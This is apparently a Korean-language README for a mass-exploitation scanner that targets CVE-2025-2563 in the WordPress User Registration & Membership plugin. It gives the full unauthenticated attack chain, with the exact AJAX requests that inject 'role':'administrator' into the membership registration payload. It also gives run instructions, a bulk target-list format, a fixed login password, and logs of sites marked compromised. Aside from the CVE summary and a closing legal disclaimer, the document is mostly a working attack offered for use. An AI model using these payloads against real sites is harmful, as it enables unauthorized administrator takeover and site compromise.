
User Registration & Membership WordPress 플러그인 4.1.2 이전 버전은 Membership Addon이 활성화되었을 때 사용자가 계정 역할을 설정하는 것을 막지 않아 권한 상승 문제가 발생하며, 인증되지 않은 사용자가 관리자 권한을 획득할 수 있습니다.
User Registration & Membership WordPress 플러그인 4.1.2 이전 버전에서는 Membership Addon이 활성화된 경우 사용자가 자신의 계정 역할을 설정하는 것을 막지 않아 권한 상승 문제가 발생하며, 인증되지 않은 사용자가 관리자 권한을 획득할 수 있습니다.
설명:
WordPress용 User Registration & Membership 플러그인 버전 4.1.2 미만에서는 Membership Addon이 활성화된 경우 서버 측 역할 제한을 적용하지 못합니다. 멤버십 등록 과정에서 플러그인은 user_registration_membership_register_member AJAX 액션 내에서 사용자가 제공한 role 필드를 서버 측 허용 목록에 대해 검증하지 않고 그대로 수락합니다. 완전히 인증되지 않은 원격 공격자는 조작된 2단계 AJAX 체인을 전송하여 — 먼저 user_registration_user_form_submit을 통해 새 사용자 계정을 등록한 다음, 멤버십 호출의 members_data 페이로드에 "role": "administrator"를 주입하여 — 완전한 권한을 가진 WordPress 관리자 계정을 자동으로 생성할 수 있습니다. 이로 인해 인증이나 사용자 상호 작용 없이 사이트가 완전히 손상됩니다.
취약한 버전의 User Registration & Membership 플러그인이 설치되어 있고 Membership Addon이 활성화된 WordPress 설치를 대상으로 하는 개념 증명(PoC) 대량 악용 스캐너입니다. 이 도구는 자동 탐지, nonce 수집, 콤보 기반 등록, 역할 주입 및 관리자 확인을 포함한 지능형 다단계 악용을 수행합니다.
[1단계 — 탐색]
GET /membership-pricing/ → membership_id, 가격 링크 추출
GET /membership-registration/ → form_id, nonce, 보안 토큰 추출
GET /registration/ → 대체 등록 페이지
↓
[2단계 — Nonce 추출]
구문 분석: ur_membership_frontend_localized_data._nonce
구문 분석: ur_frontend_form_nonce, security, form_id, membership_id
↓
[3단계 — 등록 (콤보 공격)]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
form_data=[{user_login, user_email, user_pass, membership_field, ...}]
security=<token> | ur_frontend_form_nonce=<nonce>
→ 성공(success=true)할 때까지 유효한 모든 조합 시도
↓
[4단계 — 역할 주입 (CVE-2025-2563)]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator","membership":"<id>",...}
_wpnonce=<membership_js_nonce>
→ 서버가 새로 생성된 사용자에게 관리자 역할 할당
↓
[5단계 — 관리자 확인]
POST /wp-login.php → 새 자격 증명으로 로그인
GET /wp-admin/ → adminmenu / wp-admin-bar 확인
GET /wp-admin/users.php → manage_options 접근 확인
GET /wp-admin/plugin-install.php → plugin-install 접근 확인
↓
[Nx_admin.txt에 저장]
형식: [타임스탬프] https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
또는 요구 사항 파일 이용:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# 저장소 클론
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563
# 종속성 설치
pip install -r requirements.txt
# 도구 실행
python3 CVE-2025-2563.py
python3 CVE-2025-2563.py
도구는 Rich 기반의 완전 인터랙티브 터미널 인터페이스를 사용합니다.
일반 텍스트 파일(기본값: list.txt)을 만드세요 — 한 줄에 하나의 대상:
https://target1.com
https://target2.com
http://target3.com
target4.com
http://또는https://가 없는 대상은 자동으로https://가 접두사로 추가됩니다.
대상 파일 [list.txt]: list.txt
스레드 수 [3]: 5
HTTP 시간 초과(초) [10]: 10
대상당 최대 등록 시도 횟수 [20]: 20
비밀번호는 모든 등록 시도에 대해 내부적으로
Nx_adminSA로 고정됩니다.
도구는 대상 당 자동으로 세 페이지를 검사합니다:
| 페이지 | 목적 |
|---|---|
/membership-pricing/ | membership_id 및 등록 링크 추출 |
다음 토큰은 원시 HTML 및 인라인 JavaScript에서 추출됩니다:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&security=<token>
&form_data=[{"field_name":"user_login","value":"Nxploited_482",...},
{"field_name":"membership_field_1771350090","value":"<mid>","field_type":"radio"}]
&form_id=<id>
&ur_frontend_form_nonce=<nonce>
&is_membership_active=<mid>
&membership_type=<mid>
도구는 success: true 응답을 받을 때까지 발견된 모든 security, frontend_nonce, form_id, membership_id 조합을 자동으로 반복합니다.
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&_wpnonce=<membership_js_nonce>
&members_data={"membership":"<id>","payment_method":"free",
"role":"administrator","username":"Nxploited_482",...}
&form_response={"username":"Nxploited_482","registration_type":"membership"}
⚠️ 서버는
role필드를 허용 목록 없이 수락합니다 — 이것이 CVE-2025-2563의 근본 원인입니다.
| 파일 | 설명 |
|---|---|
reg.txt | 모든 성공적인 등록 시도와 자격 증명 |
Nx_admin.txt | 모든 확인된 관리자 권한 상승 |
reg.txt:
[2025-06-01 12:44:10] https://target.com/wp-login.php user:Nxploited_482 email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2025-06-01 12:44:18] https://target.com/wp-login.php user:Nxploited_482 pass:Nx_adminSA
╔══════════════════════════════════════════════════════════════════╗
║ User Registration Membership Full Chain ║
║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝
[스캐닝] https://target.com
[악용중] https://target.com | nonce + reg OK
[악용됨] https://target.com | password: Nx_adminSA
┌──────────────────────────────────────────────────────────────────────────┐
│ 대상 │ 상태 │ 비밀번호 / 참고 │
├──────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ 손상됨 (악용됨) │ password: Nx_adminSA│
│ https://target2.com │ 취약함 (nonce 노출됨) │ │
│ https://target3.com │ 죽음 (연결 오류) │ │
└──────────────────────────────────────────────────────────────────────────┘
등록 로그: reg.txt
악용(관리자) 로그: Nx_admin.txt
By: Nxploited (Khaled Alenazi)
이 도구는 교육 및 승인된 보안 연구 목적으로만 제공됩니다.
작성자 Nxploited (Khaled Alenazi) 및 이 프로젝트의 모든 기여자는 이 도구의 오용 또는 귀하가 명시적인 서면 허가를 받지 않은 시스템에 대해 이 소프트웨어를 사용하여 발생하는 모든 손해에 대해 동의하지 않으며, 지지하지 않으며, 책임을 지지 않습니다.
- ✅ 허용: 귀하가 소유하거나 명시적인 서면 허가를 받은 시스템에서 사용.
- ❌ 금지: 시스템 소유자의 사전 명시적 서면 승인 없이 모든 시스템에 대해 사용.
컴퓨터 시스템에 대한 무단 접근은 불법이며 관련 법률 (미국 컴퓨터 사기 및 남용법(CFAA), 영국 컴퓨터 오용법(CMA) 및 전 세계 동등 법률 포함)에 따라 처벌받을 수 있습니다.
이 도구를 사용함으로써 귀하는 자신의 행동에 대해 전적이고 단독으로 책임을 지며, 대상 시스템을 테스트할 법적 권한이 있음을 확인합니다.
작성자는 이 소프트웨어의 사용 또는 오용으로 인해 발생하는 직간접적, 우발적 또는 결과적 손해에 대해 어떠한 책임도 지지 않습니다.
© 2025 Nxploited (Khaled Alenazi) — 승인된 보안 연구 목적으로만 사용.
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2025-2563 |
| 심각도 | 높음 — CVSS v3.1 점수: 8.1 |
| 벡터 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| 영향받는 소프트웨어 | WordPress용 User Registration & Membership 플러그인 |
| 영향받는 버전 | 4.1.2 미만의 모든 버전 |
| 취약점 유형 | 부적절한 권한 관리 — 인증되지 않은 관리자 계정 생성 |
| 필요한 인증 | 없음 |
| CWE | CWE-269: 부적절한 권한 관리 |
/membership-registration/ | 양식 토큰, nonce 및 필드 ID 추출 |
/membership-registration/?membership_id=<id> | 요금제별 양식 추출 |
/registration/ | 대체 일반 등록 페이지 |
| 토큰 | 출처 |
|---|
_nonce | ur_membership_frontend_localized_data JS 객체 |
ur_frontend_form_nonce | 숨겨진 input 필드 또는 JS 객체 |
security | user_registration_params.user_registration_form_data_save |
form_id | 숨겨진 input ur-user-form-id 또는 JS 객체 |
membership_id | 라디오 input urm_membership 또는 URL 쿼리 문자열 |
| 상태 | 색상 | 의미 |
|---|
COMPROMISED (exploited) | 🟢 녹색 | 전체 체인 성공 — 관리자 로그인 확인됨 |
COMPROMISED (exploit ok, admin not verified) | 🟡 노란색 | 역할 주입 성공했으나 관리자 패널 확인 불확실 |
VULNERABLE (nonce exposed, registration failed) | 🟡 노란색 | 멤버십 nonce 찾았으나 등록 AJAX 실패 |
VULNERABLE (nonce exposed, exploit pending) | 🟡 노란색 | Nonce 찾았으나 악용 완료할 수 없음 |
EXPLOITING | 🟡 노란색 | 악용 진행 중 |
REGISTERED (no membership nonce) | 🟡 노란색 | 등록 성공했으나 nonce 추출 불가 |
NO REG (all attempts failed) | ⚫ 어두운 색 | 모든 보안/nonce/form_id 조합 시도 소진 |
NO REG (max attempts reached) | ⚫ 어두운 색 | 설정된 시도 횟수 제한에 도달 |
DEAD (no membership/registration pages) | ⚫ 어두운 색 | 대상에서 플러그인 감지되지 않음 |
EXPLOIT FAILED (request error) | 🔴 빨간색 | 역할 주입 호출 중 네트워크 오류 |
EXPLOIT FAILED (success=false) | 🔴 빨간색 | 역할 주입 시 서버가 success: false 반환 |
TIMEOUT | ⚫ 어두운 색 | HTTP 시간 초과 |
DEAD (connection error) | ⚫ 어두운 색 | 연결 거부 / 연결 불가 |
ERROR | 🔴 빨간색 | 예상치 못한 예외 |